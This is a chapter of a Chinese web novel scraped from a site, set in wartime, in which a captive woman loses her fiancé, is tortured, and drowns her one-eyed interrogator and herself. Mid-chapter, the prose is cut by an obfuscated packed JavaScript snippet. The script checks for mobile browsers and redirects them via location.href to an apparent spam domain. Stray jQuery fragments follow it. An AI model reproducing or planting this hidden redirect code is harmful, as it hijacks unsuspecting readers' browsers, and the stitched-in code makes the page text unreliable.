默认冷灰
24号文字
方正启体

76. chapter 75

作者:挪有本书字数:K更新时间:
    黎颂顿在黑暗中,僵着身形,许久都没找到自己的声音。


    直到很久,他都没有再发出声音。


    她颤着指尖,试图再去点燃火柴。轻声,一遍遍询问他:“宋逢年?你还醒着吗?”


    他背对着她。


    被绳索捆住的双手,似乎隐约动了下。


    他的手,穿过她的指间。像二人的命运,曾相扣在一起。


    此刻他看不到她的模样,她的眼睛。


    ——而爱人的眼睛,是他到不了的未来。


    “宋逢年?宋逢年?”


    黎颂感觉到,随后,他的头颅垂下,轻落在她肩旁。


    攥着她的指尖,也滑落了下去。整片死寂中,最终只剩下,她一个人的回音。


    “你醒醒。醒醒啊。”她重复着。


    门被人,烦躁地推开。


    看守在外边的人,听到了动静声,神色凶狠阴沉地进来。


    “闭嘴,安静些。”


    对方抬手,将锐利的刺刀,架在她脖颈上:“再吵,就别怪我不客气了。”


    灯光随着开门的空隙,倾泻进来。


    黎颂不太适应地睁眼,看到倚在墙边的青年。


    他轻闭着眼,一动不动。


    连垂着的眼睫,都没,再动丝毫。


    她没管刺刀,在脖颈间划出的血丝。


    仰起头:“有医生吗?快救他。小泽真显吩咐了,让你看守人,半路如果他死了……等回来想再审,难道你想被问责吗?”


    拿刀的人,似是顿了下,露出犹豫的神色。


    但随即,还是瞪着三白眼,拂开了她的手:“这里当然没有医生。”


    “你以为这里是哪里,度假的地方吗?去去,还想威胁我。”


    黎颂:“那水呢?总有吧,你……”


    她还没轻求完。


    坂口千穗听到动静声,推门走了进来。


    她还穿着那天,在沪城见到的紫色洋装。居高临下地望着她,目光落在旁边的青年身上。


    对方这几日安静了些,不像前段时间,声嘶力竭激动的模样。


    坂口千穗望了眼,她失魂落魄般的神色。


    轻蹲下来。


    她伸手过来,探了探他的鼻息。


    半晌,语气平淡地道:“他已经死了,你不知道吗?”


    “本来便是,吊着最后一口气,撑着见了你一面。向来没人,能活着走出这里。”


    黎颂蜷着指尖。


    像没听到对方的话语,目光怔然的样子。


    “你不相信我?”


    坂口千穗强行,拽过她的手,然后抵了过去:“那现在,总相信了吧?”


    她的指尖动了动。


    没感受到,任何气息的起伏。


    眼前的青年,没有熬过这一年的冬天,他走向了注定的结局。


    黎颂将手蜷回来,被坂口千穗用力甩开:“现在,你终于相信了?”


    “我早说了,你们会给彼此带去不幸。”


    看守的手下踱步过来,应当还有几分,忌惮着她。附耳过来说了几句。


    坂口千穗:“不用了,小泽遇到的急事,有些重要。他一时半会儿不回来,你将这里处理了吧。”


    “……不用再等了。”


    手下流露出为难的神色。


    又说了几句,听到她冷笑了声:“留着做什么,等他回来像个变.态一样,折辱尸体出气吗?”


    坂口千穗:“扔出去,找个人多的坑,一起跟着烧了吧。”


    “也算是……能让他留个全尸了。”


    黎颂听着她们的对话,又像什么,都没听见。指尖还轻蜷着,攥着青年血迹斑斑的衣角。


    “把她重新捆起来,看好了,别再出差错。”


    她一言不发。


    任由着被再度,缚住手腕。


    所幸光线没那么亮,这两人也没发现,掉落在地上,燃尽的火柴根。


    “还抓着他的衣角,不愿意放开啊。”


    坂口千穗似是冷嘲了声,蹲下,询问她:“不如我把他的衣服,弄下来给你,做个念想?”


    “或者,再让他陪着你,多待几日?”


    黎颂抓着衣角,尚在怔怔地望着。


    宋逢年的眉眼很安静,仿佛只是睡着了。最后对她说完,那些话后,唇角还隐约地弯着。


    只是他的话语,仿佛还在她耳畔。


    ——“把这里审讯室的位置和消息,传出去。”


    黎颂怔然间,缓缓松开了手。


    没再紧攥着他的衣角,闭了下眼:“不用,你们将他带走吧……到外面找个坑,烧了也好。”


    她哑声着道。


    说完后,就没再睁眼去看。和方才的依依不舍,判若两人的反应。


    坂口千穗见状,似是轻嗤了声:“还以为,你有多深情呢。”


    她喊人,将宋逢年带了出去。


    ……


    黎颂在黑暗的审讯室中,又待了几日。没人给她送水,或者食物。


    黑暗之中,时间流逝得格外漫长。


    她倚靠在墙边,昏沉着意识,有时也会做梦。


    会梦到初见时,她拨开草堆,看到宋逢年眉眼,描着炭灰色的场景。会梦到灰色小屋,梦到去沪城时的小船,梦到树下的防空洞。


    还有梦到最后,火光中青年眉眼染血,朝她轻笑的画面。


    她额间遍布细汗,心脏像被攥住,压上密不透风的石块。


    泛着酸涩,全然喘不过气来:“不要!”


    不要走,好不好。


    她猛地惊醒过来,气息有些弱。


    唇边有些凉意,似乎是水。


    有人在端着,不耐烦地,往她嘴边送:“喝不喝?”


    是回来的小泽真显。


    他正冷冷地瞧着她。放下水碟,又夹了点吃的,往她喉咙中塞。


    冰凉的铁筷子像尖刺,他力道也很重。


    硌得她,仿佛嗓子被捅穿,用力地咳了起来,还有些想吐的感觉。


    小泽真显用力扼着她的脸,然后甩开:“以前拿枪,指我的时候,那副劲呢?”


    “才没几天,就这么没用。”


    他目光微微厌恶。


    擦着自己的手,站起身来,坐回了审问的椅子上。


    “既然你未婚夫死了,那现在轮到你了……黎小姐。”


    黎颂低头,发现手上的绳索,换成了更硬、更危险的电线,绑起来捆住了她。


    “以为我看不出来,你解开过绳子吗?痕迹太明显了。”


    小泽真显:“别费力气了,你解不开。”


    “要是实在想死的话,可以拿着,往你自己身上试一试。看看会不会,产生电流。”


    几天的煎熬下,她的嗓子几乎都哑了,轻张了张唇。


    还是原先那句话:“……我什么都不知道。”


    她确实什么都不知道。


    “不愿意说的话,我等下就得,挑件称心如意的刑具,往你脸颊上烙了。”


    黎颂闭了闭眼。


    “随你。”


    小泽真显在灯下,翻阅着薄薄的几张纸,眼中泛着漠然的光:“能查到的你的资料,比宋逢年还少。”


    “他至少,藏得再深。也能顺着痕迹,寻出点来历和家人来。”


    “你什么都没有。”


    “当初应聘的那张文凭,是假的。他帮你买的船票,也是别人的化名。”


    原来是这样。


    在弄清缘由前,小泽没有径直杀她,或是像那样折磨她。反而还给了点吃的,勉强吊着她的命。


    黎颂继续闭着眼。


    对方翻着纸张,直到翻到几页,有些奇怪的东西。询问旁边的手下:“这是什么?”


    “是她写的手札,从那间屋子里,翻出来的。”


    是不重要的几张,她没交给安双,任由着放在桌上了。


    小泽真显也意识到了。


    正要随手丢开。他眸光一顿,落在右下角的某几行字上——


    “不让宋逢年,死在1940年的冬天之前。还要在,战争胜利之前,力所能及地救更多人。”


    那时她的字迹,还很天真稚嫩。是旁观者,不是这段故事里的人。


    小泽真显盯着,看了许久。


    抬手摁到她面前:“这是什么?”


    黎颂睁开眼,看清内容后不语,还朝他笑了下,态度显然激怒了对方。


    他扼住她的脖颈,抓着她的头发,扯了过来。语气有些暴怒,拿了把锐利的匕首,划了她好几下:“我在问你。”


    “……这到底是什么?”


    黎颂看着他,难得失态的样子。


    在这一瞬间,反而没感觉到,脸颊脖颈上伤痕的疼痛。反而有种居高临下,心情豁然平静的感觉。


    “你在害怕吗?”


    这种恶鬼也会恐惧吗?


    “你是害怕,我写的是真的。害怕你们丧尽人性,犯下的那些滔天罪,却没有得到胜利吗?”


    “还是害怕,你年少时杀了养母,向你父亲邀功……结果那样的信仰,是一场空。”


    小泽真显对她们一行人,恨意和恶意,早超出了正常的范畴。


    除了江愿戳瞎的,他那只眼睛。


    他也在恐惧着,看到的每一个会反抗的人,都试图,用残忍手段去抹杀。证明他自己是对的。


    黎颂被他扼住脖颈。


    气若游丝,哑声把话说下去:“你,你身边的那些人,都是这样。”


    “你们真可恨,一点都不可怜。”


    她用像悲悯,更像嘲讽的眼神,望着对方。


    眼眸澄澈,在昏暗中明亮。


    宋逢年等人,曾透过她这双眼睛,去看未来那个已经和平、自由的世界。


    而相应的,此刻,小泽真显望向她时。


    折射的是他内心的恶意,和对那样的未来的惶恐。他们不敢面向。


    “闭嘴。”


    他用力地,攥住黎颂的脖颈,让她几度窒息:“你以为,我会相信吗?”


    周围的手下,也听到了她刚刚的话语。


    大喊叫嚣着,要让他杀了她,不要听她危言耸听:“这个女人,在胡说八道!”


    “你杀啊。”黎颂轻闭着眼。


    复而微笑:“就算杀了我,杀了宋逢年……也改变不了那样的未来。”


    “以前你说过,不会放过,千千万万个江小姐。”


    “但这片土地上,还有宋先生,黎小姐,很多很多的人……你们不会成功。”


    “永远都不会。”她重复。


    话音落下后,她感受到了刀片,贴在血管上的触感。仿佛下一瞬,死亡将会来临。


    小泽真显倏地笑了声。


    将刀片,换了个方向,沿着她的头皮向上:“倘若你说的是实话,真藏了这样的秘密。”


    “我为什么,要让你轻易死掉?”


    他绑着她的手脚,露出了诡异的笑容:“从哪里开始,方便解剖开来,瞧一瞧你呢?”


    这个恶鬼。


    已然丧心病狂至极。


    黎颂试图挣脱着,但捆住她的电线,越勒越收紧。


    对方冷沉的独眼中,夹杂着阴鹜。握着手术刀,眼看就要贴着她的头皮落下。


    这时在外面爆发出了,一声巨响,像是被什么人炸了,墙体发出轰鸣声。


    “不好,长官!有人发现了这里的位置。”


    小泽真显将刀放下,扔在一边。


    他手指扼住,她的脖颈。


    再度用重重的力道,猛地收紧:“是你们做的吧?除了你们,来过这里的人,全都死了。”


    他很快反应过来了。


    “……是坂口千穗那个蠢货。”


    “趁我不在的时候,擅作主张。给你那死去的未婚夫,非要留个全尸——你们就是这么,把消息,传出去的吧?”


    “千算万算,应该先将他挫骨扬灰的。”


    黎颂扯着唇角,望着远处,隐约的火光,能听到各种动静声。


    叽里呱啦的谩骂。有些隐约的枪声。还有也被关在周围审讯室,并不多的一些人,在被救走。


    可真好啊。


    “怎么办,外边现在……”


    坂口千穗开门进来,语气焦急。


    她还没来得及说什么。


    便被小泽真显拽过去,用刀抵着她,在她的尖叫声里,当成人盾带了出去。


    远远地,似乎能见她受了重伤,紫色洋装的裙摆上全是血:“你惹出的事,别想逃。”


    片刻后,又被对方,毫不犹豫地扔到一边。


    黎颂则被剩下的人,往另一个方向,挟持着塞进了辆车。


    “别动。”


    小泽真显过了会儿,姗姗来迟地坐上了车。


    眸子冰凉,而带着嘲意:“看到我毫发无伤,很遗憾?”


    黎颂闭眼:“坂口小姐投靠了你,也算是你的人。都能毫不犹豫,说杀就杀。”


    对方阴鹜着道:“那是她活该,不如,先担心下你自己。”


    她被捆着,押在车上一路到了,另一个陌生的地方。


    依旧是,黑暗幽深的环境,能通过一些的颠簸,感觉到似乎在船上。这群恶鬼,暂时在寻避难的地方。


    外边有点灯光,叽里呱啦的对话,她也听不懂。


    期间,小泽真显说了几句。


    像是和对方,产生了分歧。最终对方离开了,只剩他和几个手下,还留在船里。


    他拿枪,指着船夫:“继续往前开。”


    原本的商行和楼房被炸,他们急于离开,到他处避一避风头。


    “真以为你们,泄露了审讯室的位置。扔几枚手.榴弹,劫走几个人,就会有用?”


    “……他们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891453|176479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    救不走你的。”


    关着她的黑屋子很小,只有小泽偶尔会来。


    他握着那把手术刀,神色阴测地打量她。有时想落刀,又顿了顿:“等船到岸,黎小姐……就是你的死期了。”


    船上还不方便他动手。


    黎颂能感觉到,脸颊脖颈上,被他划开的伤痕。血迹有些凝固了,但没完全结痂,到后面被冷风吹着。


    慢慢感觉不到痛意了。


    她靠在黑暗的墙角,多次试图,再用宋逢年教她的方法,去解开手腕上的束缚。都没成功。


    最后只能放弃。


    靠在墙壁间,天气也越来越冷,全身都冻僵得,将近失去知觉。


    小泽又泼了盆凉水下来,毫不留情地,抓过她的头发,抬手划她几刀。


    再试图让她,疼得清醒过来。


    ……


    “黎小姐,醒醒,醒醒?”


    她听到有人喊时,恍惚得还以为,是出现了幻觉。


    一点灯光都瞧不见。


    只能通过晚上的月光,依稀辨认来人的轮廓:“你是……钟叔?”


    对方是船夫的打扮,草编的帽檐,遮挡了一半的面容。


    “嘘,这里可能有窃听的设备。”


    她挣扎着坐起来,提醒对方。


    她指了指天花板的灯线,闪着红点。还有桌上突兀留下的,一支开着盖子的钢笔。


    钟叔走过去,用水杯里的水,泼上去或抬手拔掉:“好了。这些东西,是小宋以前教你的吧?”


    她怔了两秒,眼眸仿佛浮起层薄雾:“……对。”


    那时,他还是鲜活的青年。


    笑着倚在墙角,告诉她,这些知识她用不上。


    仿佛还在昨天。


    钟叔过来,拿剪子帮她解开,手腕上捆得生疼的电线:“别怕,那鬼子恐吓你的。上面没有电。”


    “戴上帽子,躲起来。”


    “现在船已经出海,外面是零下的温度。无论发生什么,不要先,冒然跳进水里。”


    “等钟叔,和你苏姨她们……对付完那群人,就来找你,接你回去。”


    黎颂被推进某个木门后,听到外边,有了零星的枪声。


    她抬手摸了下,钟叔给她的帽子。


    底下还有个小瓶子,她拿出来,对着朦胧的月光。


    是个白色的小瓷瓶。


    底下隐约刻了个“宋”字。


    她怔怔地望着,意识到了是什么。


    眼眶泛着酸涩的热意,鼻尖一酸。指尖轻颤着,触碰他几下。


    外边燃起了火光。


    由于是夜晚,海面又分外安静。船上为数不多的十几个恶鬼,没来得及防备,能听见气急败坏的嚎叫声。


    “他娘的是什么人?来人,来人!”


    “船夫呢?灯都点不着,船打算往哪里开呢……”


    黎颂透过柴草堆,和木门上的锁眼洞。看到一双黑色硬皮鞋经过,然后响起小泽的声线。


    “一个个都在做什么?”


    “全都去船头,把船先控制了,换回方向。再来两个人,跟着我……”


    枪声打断他的话。


    “砰,砰。”


    其中一枚,恰好打在他膝盖骨上。


    船上一片黑暗,什么都瞧不清,只能听到他的叫声,和那次,被刺瞎眼时一样。


    小泽真显错愕而惶恐。


    他发出痛苦叫声。


    那喊声凄厉,和那些他虐杀过的人,流血倒下的声音,并无什么不同:“来人!来人!”


    “长官,您在哪?您出了什么事吗?”


    距离他最近的手下,在几米之外。


    在茫茫的夜色中,试图找能照明的东西,来看清情形,想来救他。


    黎颂攥着一截,先前捆她手腕的电线,还有裙带。


    先一步推开门,闭着眼出去。


    用力勒住对方脖颈,缠了几圈,用出平生最大的力气,和迸发的恨意。


    对方只是膝盖中枪。


    反应过来后,那只黑黢黢的独眼,借着月光同样打量清她。


    随即,也反手青筋暴起。


    攥住她的脖颈,企图杀了她:“咳咳。我应该,在审讯室里,就杀了你的……”


    他阴沉、缓慢着吐出每个字。


    黎颂被他攥着脖颈,同样濒临窒息。


    但她双手,用力收紧着,没有松开。像回到了那天,阁楼边的青年,握着她的裙带,教她如何去使用。


    “找准你的目标。”


    “不要犹豫,勒住他最脆弱的要害。”


    如今她终能为他,还有这一路上,无数倒下的朋友报仇。


    她绝不会再松开手。


    耳畔,是断续的各种枪声,没有黎明的黑夜之中,有些打在了小泽背上。也有的,打在了她肩头。


    带着冰凉,却又热血沸腾的疼意。


    小泽真显试图用手,活活掐死她。而她也勒着电线,谁都没有让步。


    御寒的草帽掉落,怀里瓷白色的小瓶子。也在挣扎中,一路滚落下船。


    落进海面,依稀溅起了水花。


    小泽真显被勒得脸色发青,还在轻嘲道:“咳咳,不要命地回来,就为了……那一瓶子骨灰?”


    “不,还有因为你。”


    黎颂也被勒得,喘不过气来。


    最后,在月光下,缓慢朝他绽开了一个,难掩轻松和释然的笑。


    并趁着他愣住的间隙,将他一起拽下船,坠入水中。


    “虽然我知道,那天,即便没有我路过救你。你也许会被别人救,也或许轻伤,不会有什么改变……但我还是得回来,直到和你同归于尽。”


    她不想再出什么变数。


    也想亲手,来报这场仇。


    正如钟叔所言,零下的海面很冷。坠入其中后,仿佛全身,都结了层霜雪。


    她眼睛有些睁不开。


    如同这个,熬不过去的冬天,像疮痍的碎冰,一并凝结在她的血液里。


    漆黑的海面,似乎蔓延开了血。


    小泽被她拽着拖入,又中了枪,终于不再动弹,桎梏她脖颈的手,也僵硬地松开了。


    他往下沉着。


    黎颂在水里摸索着,抓住了那只,还没有完全沉下去的白瓷瓶。


    仿佛这样,也一同握住了,那个已离开的青年的手。


    水灌进她的鼻腔。


    她在意识渐沉前,混沌模糊。


    仿佛又看见了,他倚在前方的画面,朝着她,散漫地挑眉笑。也看见了那时热闹的长明街,身边的每一个人,都还没离开。


    他曾说:“颂歌小姐是我的信仰。”


    ——爱宋逢年,也是她这一生的英雄主义。


    “我会化作自由的风、盛开的花……去八十年后的未来见她。”


    ——不用那么麻烦,她来这里找他了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)